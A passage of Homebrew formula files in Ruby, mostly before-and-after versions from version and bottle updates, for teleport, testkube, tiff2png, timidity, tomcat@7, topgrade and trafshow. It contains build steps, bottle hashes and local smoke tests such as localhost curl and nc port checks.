version.to_s, shell_output("#{bin}/tctl version") mkdir testpath/"data" (testpath/"config.yml").write <<~EOS version: v2 teleport: nodename: testhost data_dir: #{testpath}/data log: output: stderr severity: WARN EOS fork do exec "#{bin}/teleport start --roles=proxy,node,auth --config=#{testpath}/config.yml" end sleep 10 system "curl", "--insecure", "https://localhost:3080" status = shell_output("#{bin}/tctl --config=#{testpath}/config.yml status") assert_match(/Cluster\s*testhost/, status) assert_match(/Version\s*#{version}/, status) end end teleport: update 9.2.4 bottle. class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v9.2.4.tar.gz" sha256 "3d73d415f9ac51790772513c26f271b897e3a8fbaad7eb98e01e9eabf2d2bee8" license "Apache-2.0" head "https://github.com/gravitational/teleport.git", branch: "master" # We check the Git tags instead of using the `GithubLatest` strategy, as the # "latest" version can be incorrect. As of writing, two major versions of # `teleport` are being maintained side by side and the "latest" tag can point # to a release from the older major version. livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "00ed5ea0ecf859869bcf0dd29385d76b293f8a8591d167bf9fab92099579d561" sha256 cellar: :any_skip_relocation, arm64_big_sur: "c004a01b5a5bdb138de913a496f68ce216f76ec2d6821b868a9fe216358fc9e1" sha256 cellar: :any_skip_relocation, monterey: "7a5eab255fa64470bfc9cb1ba3401261c70c19290b105d7d9edc42e187657917" sha256 cellar: :any_skip_relocation, big_sur: "83a4e624c0f2352c3a59c7a16dab0a7e59c4329152237aa7609b554cd110019e" sha256 cellar: :any_skip_relocation, catalina: "50642109313380c0bd6a36e4f93a8f68a91e52c954d4072d7b880e5d19430d47" sha256 cellar: :any_skip_relocation, x86_64_linux: "196413563e8dd2af8bc1824ca94b680b2badc89fb2b746034fb406f39d124bbc" end depends_on "go" => :build uses_from_macos "curl" => :test uses_from_macos "netcat" => :test uses_from_macos "zip" conflicts_with "etsh", because: "both install `tsh` binaries" # Keep this in sync with https://github.com/gravitational/teleport/tree/v#{version} resource "webassets" do url "https://github.com/gravitational/webassets/archive/4c555ddd7f4e8c6d74dd1ac467db5d17ad5c4ecc.tar.gz" sha256 "00ba592b9a5f790e115d41a2a42127b178b75a362292b68b40577881a0984b19" end def install (buildpath/"webassets").install resource("webassets") ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] end test do curl_output = shell_output("curl \"https://api.github.com/repos/gravitational/teleport/contents/webassets?ref=v#{version}\"") assert_match JSON.parse(curl_output)["sha"], resource("webassets").url assert_match version.to_s, shell_output("#{bin}/teleport version") assert_match version.to_s, shell_output("#{bin}/tsh version") assert_match version.to_s, shell_output("#{bin}/tctl version") mkdir testpath/"data" (testpath/"config.yml").write <<~EOS version: v2 teleport: nodename: testhost data_dir: #{testpath}/data log: output: stderr severity: WARN EOS fork do exec "#{bin}/teleport start --roles=proxy,node,auth --config=#{testpath}/config.yml" end sleep 10 system "curl", "--insecure", "https://localhost:3080" status = shell_output("#{bin}/tctl --config=#{testpath}/config.yml status") assert_match(/Cluster\s*testhost/, status) assert_match(/Version\s*#{version}/, status) end end
class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v4.2.8.tar.gz" sha256 "19a514209c4fc02f20a9c1eb723f08ab8a9cd6cd4185dce870ecdfe429a3a7d9" head "https://github.com/gravitational/teleport.git" bottle do cellar :any_skip_relocation sha256 "1bbfbec631a11ca947aca69e07f28ec5cd39fcf0d66c3b59057e0c4ccd5e59c6" => :catalina sha256 "e7e7c11e047beb7ae972f1ecf8d29ef084107c923cd130c075ac2da41fc3a7e9" => :mojave sha256 "db1c71e677e10ca945196cc81889144ba9e33368cbbe97e8e2d20ef9cca096c6" => :high_sierra end depends_on "go" => :build unless OS.mac? depends_on "zip" depends_on "curl" => :test depends_on "netcat" => :test end conflicts_with "etsh", :because => "both install `tsh` binaries" def install ENV["GOOS"] = OS.mac? ? "darwin" : "linux" ENV["GOARCH"] = "amd64" ENV["GOPATH"] = buildpath ENV["GOROOT"] = Formula["go"].opt_libexec (buildpath/"src/github.com/gravitational/teleport").install buildpath.children cd "src/github.com/gravitational/teleport" do ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] (prefix/"web").install "web/dist" unless OS.mac? prefix.install_metafiles end end test do assert_match version.to_s, shell_output("#{bin}/teleport version") (testpath/"config.yml").write shell_output("#{bin}/teleport configure") .gsub("0.0.0.0", "127.0.0.1") .gsub("/var/lib/teleport", testpath) .gsub("/var/run", testpath) .gsub(/https_(.*)/, "") unless OS.mac? inreplace testpath/"config.yml", "/usr/bin/hostname", "/bin/hostname" inreplace testpath/"config.yml", "/usr/bin/uname", "/bin/uname" end begin debug = OS.mac? ? "" : "DEBUG=1 " pid = spawn("#{debug}#{bin}/teleport start -c #{testpath}/config.yml") if OS.mac? sleep 5 path = OS.mac? ? "/usr/bin/" : "" system "#{path}curl", "--insecure", "https://localhost:3080" # Fails on Linux: # Failed to update cache: \nERROR REPORT:\nOriginal Error: # *trace.NotFoundError open /tmp/teleport-test-20190120-15973-1hx2ui3/cache/auth/localCluster: # no such file or directory system "#{path}nc", "-z", "localhost", "3022" system "#{path}nc", "-z", "localhost", "3023" system "#{path}nc", "-z", "localhost", "3025" end ensure Process.kill(9, pid) end end end teleport: update 4.2.8 bottle. class Teleport < Formula desc "Modern SSH server for teams managing distributed infrastructure" homepage "https://gravitational.com/teleport" url "https://github.com/gravitational/teleport/archive/v4.2.8.tar.gz" sha256 "19a514209c4fc02f20a9c1eb723f08ab8a9cd6cd4185dce870ecdfe429a3a7d9" head "https://github.com/gravitational/teleport.git" bottle do cellar :any_skip_relocation sha256 "1bbfbec631a11ca947aca69e07f28ec5cd39fcf0d66c3b59057e0c4ccd5e59c6" => :catalina sha256 "e7e7c11e047beb7ae972f1ecf8d29ef084107c923cd130c075ac2da41fc3a7e9" => :mojave sha256 "db1c71e677e10ca945196cc81889144ba9e33368cbbe97e8e2d20ef9cca096c6" => :high_sierra sha256 "81673e3c17e996db2173584932059165d3e70f43fe7ee1919a921b2495462767" => :x86_64_linux end depends_on "go" => :build unless OS.mac? depends_on "zip" depends_on "curl" => :test depends_on "netcat" => :test end conflicts_with "etsh", :because => "both install `tsh` binaries" def install ENV["GOOS"] = OS.mac? ? "darwin" : "linux" ENV["GOARCH"] = "amd64" ENV["GOPATH"] = buildpath ENV["GOROOT"] = Formula["go"].opt_libexec (buildpath/"src/github.com/gravitational/teleport").install buildpath.children cd "src/github.com/gravitational/teleport" do ENV.deparallelize { system "make", "full" } bin.install Dir["build/*"] (prefix/"web").install "web/dist" unless OS.mac? prefix.install_metafiles end end test do assert_match version.to_s, shell_output("#{bin}/teleport version") (testpath/"config.yml").write shell_output("#{bin}/teleport configure") .gsub("0.0.0.0", "127.0.0.1") .gsub("/var/lib/teleport", testpath) .gsub("/var/run", testpath) .gsub(/https_(.*)/, "") unless OS.mac? inreplace testpath/"config.yml", "/usr/bin/hostname", "/bin/hostname" inreplace testpath/"config.yml", "/usr/bin/uname", "/bin/uname" end begin debug = OS.mac? ? "" : "DEBUG=1 " pid = spawn("#{debug}#{bin}/teleport start -c #{testpath}/config.yml") if OS.mac? sleep 5 path = OS.mac? ? "/usr/bin/" : "" system "#{path}curl", "--insecure", "https://localhost:3080" # Fails on Linux: # Failed to update cache: \nERROR REPORT:\nOriginal Error: # *trace.NotFoundError open /tmp/teleport-test-20190120-15973-1hx2ui3/cache/auth/localCluster: # no such file or directory system "#{path}nc", "-z", "localhost", "3022" system "#{path}nc", "-z", "localhost", "3023" system "#{path}nc", "-z", "localhost", "3025" end ensure Process.kill(9, pid) end end end
class Testkube < Formula desc "Kubernetes-native framework for test definition and execution" homepage "https://testkube.io" # testkube should only be updated every 5 releases on multiples of 5 url "https://github.com/kubeshop/testkube/archive/v1.6.35.tar.gz" sha256 "301aed927edf592de5cd2fc8316dbe52e15a37e98b47cc1ae51e2190dad8bd1c" license "MIT" head "https://github.com/kubeshop/testkube.git", branch: "main" livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_ventura: "f84a98780da65f928579b6df287a0dd04acd876d29f9725daca234efa2f7cabc" sha256 cellar: :any_skip_relocation, arm64_monterey: "f84a98780da65f928579b6df287a0dd04acd876d29f9725daca234efa2f7cabc" sha256 cellar: :any_skip_relocation, arm64_big_sur: "f84a98780da65f928579b6df287a0dd04acd876d29f9725daca234efa2f7cabc" sha256 cellar: :any_skip_relocation, monterey: "e5fc637ee55c14cb936af5c6765e37719722332260711311973ed130e61e29c5" sha256 cellar: :any_skip_relocation, big_sur: "e5fc637ee55c14cb936af5c6765e37719722332260711311973ed130e61e29c5" sha256 cellar: :any_skip_relocation, catalina: "e5fc637ee55c14cb936af5c6765e37719722332260711311973ed130e61e29c5" sha256 cellar: :any_skip_relocation, x86_64_linux: "27128955b07bc27a8d53885e50992f015571addc7b27340d6ff88123f283478c" end depends_on "go" => :build depends_on "helm" depends_on "kubernetes-cli" def install ENV["CGO_ENABLED"] = "0" ldflags = %W[ -s -w -X main.version=#{version} -X main.builtBy=#{tap.user} ] system "go", "build", *std_go_args(output: bin/"kubectl-testkube", ldflags: ldflags), "cmd/kubectl-testkube/main.go" bin.install_symlink "kubectl-testkube" => "testkube" generate_completions_from_executable(bin/"kubectl-testkube", "completion") end test do output = shell_output("#{bin}/kubectl-testkube get tests 2>&1", 1) assert_match("error: invalid configuration: no configuration has been provided", output) output = shell_output("#{bin}/kubectl-testkube help") assert_match("Testkube entrypoint for kubectl plugin", output) end end testkube 1.7.0 Closes #115976. Signed-off-by: Branch Vincent <0e6296586cbd330121a33cee359d4396296e2ead@users.noreply.github.com> Signed-off-by: BrewTestBot <8a898ee6867e4f2028e63d2a6319b2224641c06c@users.noreply.github.com> class Testkube < Formula desc "Kubernetes-native framework for test definition and execution" homepage "https://testkube.io" # testkube should only be updated every 5 releases on multiples of 5 url "https://github.com/kubeshop/testkube/archive/v1.7.0.tar.gz" sha256 "0675dab13af2d5e1900af112251a8c298a5b81df62afa74bb711c489b4658733" license "MIT" head "https://github.com/kubeshop/testkube.git", branch: "main" livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_ventura: "f84a98780da65f928579b6df287a0dd04acd876d29f9725daca234efa2f7cabc" sha256 cellar: :any_skip_relocation, arm64_monterey: "f84a98780da65f928579b6df287a0dd04acd876d29f9725daca234efa2f7cabc" sha256 cellar: :any_skip_relocation, arm64_big_sur: "f84a98780da65f928579b6df287a0dd04acd876d29f9725daca234efa2f7cabc" sha256 cellar: :any_skip_relocation, monterey: "e5fc637ee55c14cb936af5c6765e37719722332260711311973ed130e61e29c5" sha256 cellar: :any_skip_relocation, big_sur: "e5fc637ee55c14cb936af5c6765e37719722332260711311973ed130e61e29c5" sha256 cellar: :any_skip_relocation, catalina: "e5fc637ee55c14cb936af5c6765e37719722332260711311973ed130e61e29c5" sha256 cellar: :any_skip_relocation, x86_64_linux: "27128955b07bc27a8d53885e50992f015571addc7b27340d6ff88123f283478c" end depends_on "go" => :build depends_on "helm" depends_on "kubernetes-cli" def install ENV["CGO_ENABLED"] = "0" ldflags = %W[ -s -w -X main.version=#{version} -X main.builtBy=#{tap.user} ] system "go", "build", *std_go_args(output: bin/"kubectl-testkube", ldflags: ldflags), "cmd/kubectl-testkube/main.go" bin.install_symlink "kubectl-testkube" => "testkube" generate_completions_from_executable(bin/"kubectl-testkube", "completion") end test do output = shell_output("#{bin}/kubectl-testkube get tests 2>&1", 1) assert_match("error: invalid configuration: no configuration has been provided", output) output = shell_output("#{bin}/kubectl-testkube help") assert_match("Testkube entrypoint for kubectl plugin", output) end end
class Testkube < Formula desc "Kubernetes-native framework for test definition and execution" homepage "https://testkube.io" url "https://github.com/kubeshop/testkube/archive/v1.5.8.tar.gz" sha256 "3b0fc474731dc0935102c0c2d8e022fa7e476f94db8d38d176c35488108b3a45" license "MIT" head "https://github.com/kubeshop/testkube.git", branch: "main" livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "8804145734343a5e194518068d22a0ec67d26888d6b583a777476c6c8253dd9c" sha256 cellar: :any_skip_relocation, arm64_big_sur: "8804145734343a5e194518068d22a0ec67d26888d6b583a777476c6c8253dd9c" sha256 cellar: :any_skip_relocation, monterey: "e7e406af99bde68d50b9088e5697b0757b31097cf935c159eaf21531d6117436" sha256 cellar: :any_skip_relocation, big_sur: "e7e406af99bde68d50b9088e5697b0757b31097cf935c159eaf21531d6117436" sha256 cellar: :any_skip_relocation, catalina: "e7e406af99bde68d50b9088e5697b0757b31097cf935c159eaf21531d6117436" sha256 cellar: :any_skip_relocation, x86_64_linux: "821ae78426e8f787080ee7907601bb10d433c7aa360fb8ee32e09e378d6c70ed" end depends_on "go" => :build depends_on "helm" depends_on "kubernetes-cli" def install ENV["CGO_ENABLED"] = "0" ldflags = %W[ -s -w -X main.version=#{version} -X main.builtBy=#{tap.user} ] system "go", "build", *std_go_args(output: bin/"kubectl-testkube", ldflags: ldflags), "cmd/kubectl-testkube/main.go" end test do output = shell_output("#{bin}/kubectl-testkube get tests 2>&1", 1) assert_match("error: invalid configuration: no configuration has been provided", output) output = shell_output("#{bin}/kubectl-testkube help") assert_match("Testkube entrypoint for kubectl plugin", output) end end testkube: update 1.5.8 bottle. class Testkube < Formula desc "Kubernetes-native framework for test definition and execution" homepage "https://testkube.io" url "https://github.com/kubeshop/testkube/archive/v1.5.8.tar.gz" sha256 "3b0fc474731dc0935102c0c2d8e022fa7e476f94db8d38d176c35488108b3a45" license "MIT" head "https://github.com/kubeshop/testkube.git", branch: "main" livecheck do url :stable regex(/^v?(\d+(?:\.\d+)+)$/i) end bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "0354304ae0ddd2dc677104abb53e4d25f6c59ca3e07dae853f02a5937c008473" sha256 cellar: :any_skip_relocation, arm64_big_sur: "0354304ae0ddd2dc677104abb53e4d25f6c59ca3e07dae853f02a5937c008473" sha256 cellar: :any_skip_relocation, monterey: "8ac2b92bf63d1302bc28a6a0c27496a2c3405d444a79e7529c98a56e720c48ff" sha256 cellar: :any_skip_relocation, big_sur: "8ac2b92bf63d1302bc28a6a0c27496a2c3405d444a79e7529c98a56e720c48ff" sha256 cellar: :any_skip_relocation, catalina: "8ac2b92bf63d1302bc28a6a0c27496a2c3405d444a79e7529c98a56e720c48ff" sha256 cellar: :any_skip_relocation, x86_64_linux: "57a69881938dc9c887055d58d87424b4315b1ff3ac3d4e0cb06a33df538d4289" end depends_on "go" => :build depends_on "helm" depends_on "kubernetes-cli" def install ENV["CGO_ENABLED"] = "0" ldflags = %W[ -s -w -X main.version=#{version} -X main.builtBy=#{tap.user} ] system "go", "build", *std_go_args(output: bin/"kubectl-testkube", ldflags: ldflags), "cmd/kubectl-testkube/main.go" end test do output = shell_output("#{bin}/kubectl-testkube get tests 2>&1", 1) assert_match("error: invalid configuration: no configuration has been provided", output) output = shell_output("#{bin}/kubectl-testkube help") assert_match("Testkube entrypoint for kubectl plugin", output) end end
class Tiff2png < Formula desc "TIFF to PNG converter" homepage "http://www.libpng.org/pub/png/apps/tiff2png.html" url "https://github.com/rillian/tiff2png/archive/v0.92.tar.gz" sha256 "64e746560b775c3bd90f53f1b9e482f793d80ea6e7f5d90ce92645fd1cd27e4a" revision 1 bottle do cellar :any sha256 "e20cc758aab7de1c1e9d286e469a444fe9e384bcffe472ec6a52c06b31131ac4" => :high_sierra sha256 "19951f2ec63fa3c77a43fe2c2444251686ad4fcc1038fbeeb8873fcd528d8954" => :sierra sha256 "43f0afaca7d61a7f55489260deb233c0a35619d3101d362f80dc7a765a877599" => :el_capitan sha256 "bf11412cac81c328f8e8de50c182be049696d053ac900b56302685e858562811" => :yosemite end depends_on "libtiff" depends_on "libpng" depends_on "jpeg" def install bin.mkpath system "make", "INSTALL=#{prefix}", "CC=#{ENV.cc}", "install" end test do system "#{bin}/tiff2png", test_fixtures("test.tiff") end end tiff2png: update 0.92_1 bottle. class Tiff2png < Formula desc "TIFF to PNG converter" homepage "http://www.libpng.org/pub/png/apps/tiff2png.html" url "https://github.com/rillian/tiff2png/archive/v0.92.tar.gz" sha256 "64e746560b775c3bd90f53f1b9e482f793d80ea6e7f5d90ce92645fd1cd27e4a" revision 1 bottle do cellar :any sha256 "e8cf86b68e703c8c5c6fc0f6e9ffee0e2823a103cb685d4a33d21fb626a96439" => :mojave sha256 "e20cc758aab7de1c1e9d286e469a444fe9e384bcffe472ec6a52c06b31131ac4" => :high_sierra sha256 "19951f2ec63fa3c77a43fe2c2444251686ad4fcc1038fbeeb8873fcd528d8954" => :sierra sha256 "43f0afaca7d61a7f55489260deb233c0a35619d3101d362f80dc7a765a877599" => :el_capitan sha256 "bf11412cac81c328f8e8de50c182be049696d053ac900b56302685e858562811" => :yosemite end depends_on "libtiff" depends_on "libpng" depends_on "jpeg" def install bin.mkpath system "make", "INSTALL=#{prefix}", "CC=#{ENV.cc}", "install" end test do system "#{bin}/tiff2png", test_fixtures("test.tiff") end end
timidity 2.14.0 Closes Homebrew/homebrew#18869. Signed-off-by: Adam Vandenberg <34c2b6407fd5a10249a15d699d40f9ed1782e98c@gmail.com> require 'formula' class Timidity < Formula homepage 'http://timidity.sourceforge.net/' url 'http://sourceforge.net/projects/timidity/files/TiMidity%2B%2B/TiMidity%2B%2B-2.14.0/TiMidity%2B%2B-2.14.0.tar.bz2' sha1 '3d1d18ddf3e52412985af9a49dbe7ad345b478a8' def install system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}" system "make install" end test do system "#{bin}/timidity" end end
class TomcatAT7 < Formula desc "Implementation of Java Servlet and JavaServer Pages" homepage "https://tomcat.apache.org/" url "https://www.apache.org/dyn/closer.cgi?path=tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz" mirror "https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz" sha256 "fd59f8fb1e5f1184aa714e63cebba27952c30be311043642395d1af979d067b0" bottle :unneeded keg_only :versioned_formula option "with-fulldocs", "Install full documentation locally" depends_on :java # Keep log folders skip_clean "libexec" resource "fulldocs" do url "https://www.apache.org/dyn/closer.cgi?path=/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90-fulldocs.tar.gz" sha256 "0ec9ea2cac2dd795cd207da47f9313f3df5276980142f7383e2f53909dcaaf62" end def install # Remove Windows scripts rm_rf Dir["bin/*.bat"] # Install files prefix.install %w[NOTICE LICENSE RELEASE-NOTES RUNNING.txt] libexec.install Dir["*"] bin.install_symlink "#{libexec}/bin/catalina.sh" => "catalina" (pkgshare/"fulldocs").install resource("fulldocs") if build.with? "fulldocs" end test do ENV["CATALINA_BASE"] = testpath cp_r Dir["#{libexec}/*"], testpath rm Dir["#{libexec}/logs/*"] pid = fork do exec bin/"catalina", "start" end sleep 3 begin system bin/"catalina", "stop" ensure Process.wait pid end assert_predicate testpath/"logs/catalina.out", :exist? end end tomcat@7 7.0.91 class TomcatAT7 < Formula desc "Implementation of Java Servlet and JavaServer Pages" homepage "https://tomcat.apache.org/" url "https://www.apache.org/dyn/closer.cgi?path=tomcat/tomcat-7/v7.0.91/bin/apache-tomcat-7.0.91.tar.gz" mirror "https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.91/bin/apache-tomcat-7.0.91.tar.gz" sha256 "0008931e39c234522572dd3c023e267a46b35e7c979edbe6838d34368f95cb08" bottle :unneeded keg_only :versioned_formula option "with-fulldocs", "Install full documentation locally" depends_on :java # Keep log folders skip_clean "libexec" resource "fulldocs" do url "https://www.apache.org/dyn/closer.cgi?path=/tomcat/tomcat-7/v7.0.91/bin/apache-tomcat-7.0.91-fulldocs.tar.gz" sha256 "0eadac93d16bd7512a64a84f29e631784d3e7c23287315d1fb166bd1ff44e418" end def install # Remove Windows scripts rm_rf Dir["bin/*.bat"] # Install files prefix.install %w[NOTICE LICENSE RELEASE-NOTES RUNNING.txt] libexec.install Dir["*"] bin.install_symlink "#{libexec}/bin/catalina.sh" => "catalina" (pkgshare/"fulldocs").install resource("fulldocs") if build.with? "fulldocs" end test do ENV["CATALINA_BASE"] = testpath cp_r Dir["#{libexec}/*"], testpath rm Dir["#{libexec}/logs/*"] pid = fork do exec bin/"catalina", "start" end sleep 3 begin system bin/"catalina", "stop" ensure Process.wait pid end assert_predicate testpath/"logs/catalina.out", :exist? end end
class Topgrade < Formula desc "Upgrade all the things" homepage "https://github.com/r-darwish/topgrade" url "https://github.com/r-darwish/topgrade/archive/v1.8.0.tar.gz" sha256 "6f72962d0ccc90530f031612e9683a42d05995da6496b591e3f374505551c37a" bottle do cellar :any_skip_relocation sha256 "0dd5089e4510f2cd5fde52693d866f4c3cb9c29083a28e325e4b90548242f270" => :mojave sha256 "897acde99af1b06e2b2a7747d71674a27bb5cba284fe6f89bb641e4d56f8d3a0" => :high_sierra sha256 "4fa220b969485c45efa9fd87ef32e139331bca6cf7b308faf2043b03124c57d0" => :sierra end depends_on "rust" => :build def install system "cargo", "install", "--root", prefix, "--path", "." end test do output = shell_output("#{bin}/topgrade -n") assert_match "Dry running: #{HOMEBREW_PREFIX}/bin/brew upgrade", output assert_not_match /\sSelf update\s/, output end end topgrade: update 1.8.0 bottle. class Topgrade < Formula desc "Upgrade all the things" homepage "https://github.com/r-darwish/topgrade" url "https://github.com/r-darwish/topgrade/archive/v1.8.0.tar.gz" sha256 "6f72962d0ccc90530f031612e9683a42d05995da6496b591e3f374505551c37a" bottle do cellar :any_skip_relocation sha256 "3d40f4c24a32a61223c26bf6d707297ed4a128967715cd69522aa5afe7ef1fd1" => :mojave sha256 "60d9e37c68b81dd883fd8977c54fdad4e5acc12273f304a67f7ac94198b6ee02" => :high_sierra sha256 "ad3a219deebb8f92014e7f7f73650da68526a37658c20fef5098fae154525a11" => :sierra end depends_on "rust" => :build def install system "cargo", "install", "--root", prefix, "--path", "." end test do output = shell_output("#{bin}/topgrade -n") assert_match "Dry running: #{HOMEBREW_PREFIX}/bin/brew upgrade", output assert_not_match /\sSelf update\s/, output end end
class Trafshow < Formula desc "Continuous network traffic display" # Upstream homepage down since late 2014, but only displays a manpage. homepage "https://web.archive.org/web/20130707021442/soft.risp.ru/trafshow/index_en.shtml" url "https://pkg.freebsd.org/ports-distfiles/trafshow-5.2.3.tgz" sha256 "ea7e22674a66afcc7174779d0f803c1f25b42271973b4f75fab293b8d7db11fc" revision 1 bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "dad60ec29f44de1fe574070625592bec438df8f9260b81b7a5fe1e0aa6696347" sha256 cellar: :any_skip_relocation, arm64_big_sur: "99d67c50de491e45032798b67f2b2ce424ff2b5031e453ac1bdcb1807f1af702" sha256 cellar: :any_skip_relocation, monterey: "73326a98707365a1bade09a83022a4e5f6e7da9e16ecc6f44d6836fdf93420b4" sha256 cellar: :any_skip_relocation, big_sur: "a2a1419d6adb4663c41ae2f2d0eaaa750f0815caa34e9165a572c65d117173d3" sha256 cellar: :any_skip_relocation, catalina: "f976f69242af3e7c14acd6cc99f0f6b14c31f15793a090a9fa1b562662efbf2d" sha256 cellar: :any_skip_relocation, mojave: "27f0fa0ce96139f6958efdd964b3ef4741d39a05f86ce33567eb622c55b10717" sha256 cellar: :any_skip_relocation, high_sierra: "d7d2f4fc92f234fd9fda9ec65a03b37aaf43d40203682ee3821526bb18f1ad13" sha256 cellar: :any_skip_relocation, sierra: "c6324418840429d76f53035ae9e013190b8190f75f9fc1eaa8100bc9e7df27f8" sha256 cellar: :any_skip_relocation, el_capitan: "c6bd1f502ddbcc756a400958f1f79da193c5784b7cd71361e1e6742412ae442c" sha256 cellar: :any_skip_relocation, yosemite: "fd7be4933f9be5a4a3ebaf0e31086e0f5566608305dd88779f0b0790fdc75c05" end depends_on "libtool" => :build uses_from_macos "libpcap" uses_from_macos "ncurses" { "domain_resolver.c" => "43b97d4ea025ed2087e4525a0b1acffc887082148df6dd2603b91fa70f79b678", "colormask.c" => "04121b295d22a18aaf078611c75401a620570fbd89362bba2dd1abc042ea3c4a", "trafshow.c" => "3164a612689d8ec310453a50fbb728f9bae3c356b88c41b6eab7ba7e925b1bf1", "trafshow.1" => "8072e52acc56dd6f64c75f5d2e8a814431404b3fdfbc15149aaad1d469c47ff1", "configure" => "c6e34dddd6c159cbd373b2b593f7643642cb10449c6bc6c606e160586bc5b794", }.each do |name, sha| patch :p0 do url "https://raw.githubusercontent.com/Homebrew/formula-patches/be6fd4a/trafshow/patch-#{name}" sha256 sha end end # libpcap on 10.12 has pcap_lib_version() instead of pcap_version if MacOS.version >= :sierra patch :p0 do url "https://raw.githubusercontent.com/Homebrew/formula-patches/7ad7c77/trafshow/patch-pcap-version-sierra.diff" sha256 "03213c8b8b46241ecef8f427cdbec9b09f5fdc35b9d67672ad4b370a1186aed5" end end def install cp Dir["#{Formula["libtool"].opt_pkgshare}/*/config.{guess,sub}"], buildpath # Fix build for newer libpcap. # Reported to maintainer by email. inreplace "trafshow.c", "pcap_init", "pcap_initialize" unless OS.mac? system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--disable-slang" system "make" bin.install "trafshow" man1.install "trafshow.1" etc.install ".trafshow" => "trafshow.default" end test do assert_match version.to_s, shell_output("#{bin}/trafshow -v 2>&1", 1) end end trafshow: update 5.2.3_1 bottle. class Trafshow < Formula desc "Continuous network traffic display" # Upstream homepage down since late 2014, but only displays a manpage. homepage "https://web.archive.org/web/20130707021442/soft.risp.ru/trafshow/index_en.shtml" url "https://pkg.freebsd.org/ports-distfiles/trafshow-5.2.3.tgz" sha256 "ea7e22674a66afcc7174779d0f803c1f25b42271973b4f75fab293b8d7db11fc" revision 1 bottle do sha256 cellar: :any_skip_relocation, arm64_monterey: "dad60ec29f44de1fe574070625592bec438df8f9260b81b7a5fe1e0aa6696347" sha256 cellar: :any_skip_relocation, arm64_big_sur: "99d67c50de491e45032798b67f2b2ce424ff2b5031e453ac1bdcb1807f1af702" sha256 cellar: :any_skip_relocation, monterey: "73326a98707365a1bade09a83022a4e5f6e7da9e16ecc6f44d6836fdf93420b4" sha256 cellar: :any_skip_relocation, big_sur: "a2a1419d6adb4663c41ae2f2d0eaaa750f0815caa34e9165a572c65d117173d3" sha256 cellar: :any_skip_relocation, catalina: "f976f69242af3e7c14acd6cc99f0f6b14c31f15793a090a9fa1b562662efbf2d" sha256 cellar: :any_skip_relocation, mojave: "27f0fa0ce96139f6958efdd964b3ef4741d39a05f86ce33567eb622c55b10717" sha256 cellar: :any_skip_relocation, high_sierra: "d7d2f4fc92f234fd9fda9ec65a03b37aaf43d40203682ee3821526bb18f1ad13" sha256 cellar: :any_skip_relocation, sierra: "c6324418840429d76f53035ae9e013190b8190f75f9fc1eaa8100bc9e7df27f8" sha256 cellar: :any_skip_relocation, el_capitan: "c6bd1f502ddbcc756a400958f1f79da193c5784b7cd71361e1e6742412ae442c" sha256 cellar: :any_skip_relocation, x86_64_yosemite: "fd7be4933f9be5a4a3ebaf0e31086e0f5566608305dd88779f0b0790fdc75c05" sha256 cellar: :any_skip_relocation, x86_64_linux: "16a44efd2d96a93d0dfeb3b6328338710599370308f21728f6900c98bb8df781" end depends_on "libtool" => :build uses_from_macos "libpcap" uses_from_macos "ncurses" { "domain_resolver.c" => "43b97d4ea025ed2087e4525a0b1acffc887082148df6dd2603b91fa70f79b678", "colormask.c" => "04121b295d22a18aaf078611c75401a620570fbd89362bba2dd1abc042ea3c4a", "trafshow.c" => "3164a612689d8ec310453a50fbb728f9bae3c356b88c41b6eab7ba7e925b1bf1", "trafshow.1" => "8072e52acc56dd6f64c75f5d2e8a814431404b3fdfbc15149aaad1d469c47ff1", "configure" => "c6e34dddd6c159cbd373b2b593f7643642cb10449c6bc6c606e160586bc5b794", }.each do |name, sha| patch :p0 do url "https://raw.githubusercontent.com/Homebrew/formula-patches/be6fd4a/trafshow/patch-#{name}" sha256 sha end end # libpcap on 10.12 has pcap_lib_version() instead of pcap_version if MacOS.version >= :sierra patch :p0 do url "https://raw.githubusercontent.com/Homebrew/formula-patches/7ad7c77/trafshow/patch-pcap-version-sierra.diff" sha256 "03213c8b8b46241ecef8f427cdbec9b09f5fdc35b9d67672ad4b370a1186aed5" end end def install cp Dir["#{Formula["libtool"].opt_pkgshare}/*/config.{guess,sub}"], buildpath # Fix build for newer libpcap. # Reported to maintainer by email. inreplace "trafshow.c", "pcap_init", "pcap_initialize" unless OS.mac? system "./configure", "--disable-debug", "--disable-dependency-tracking", "--prefix=#{prefix}", "--disable-slang" system "make" bin.install "trafshow" man1.install "trafshow.1" etc.install ".trafshow" => "trafshow.default" end test do assert_match version.to_s, shell_output("#{bin}/trafshow -v 2>&1", 1) end end
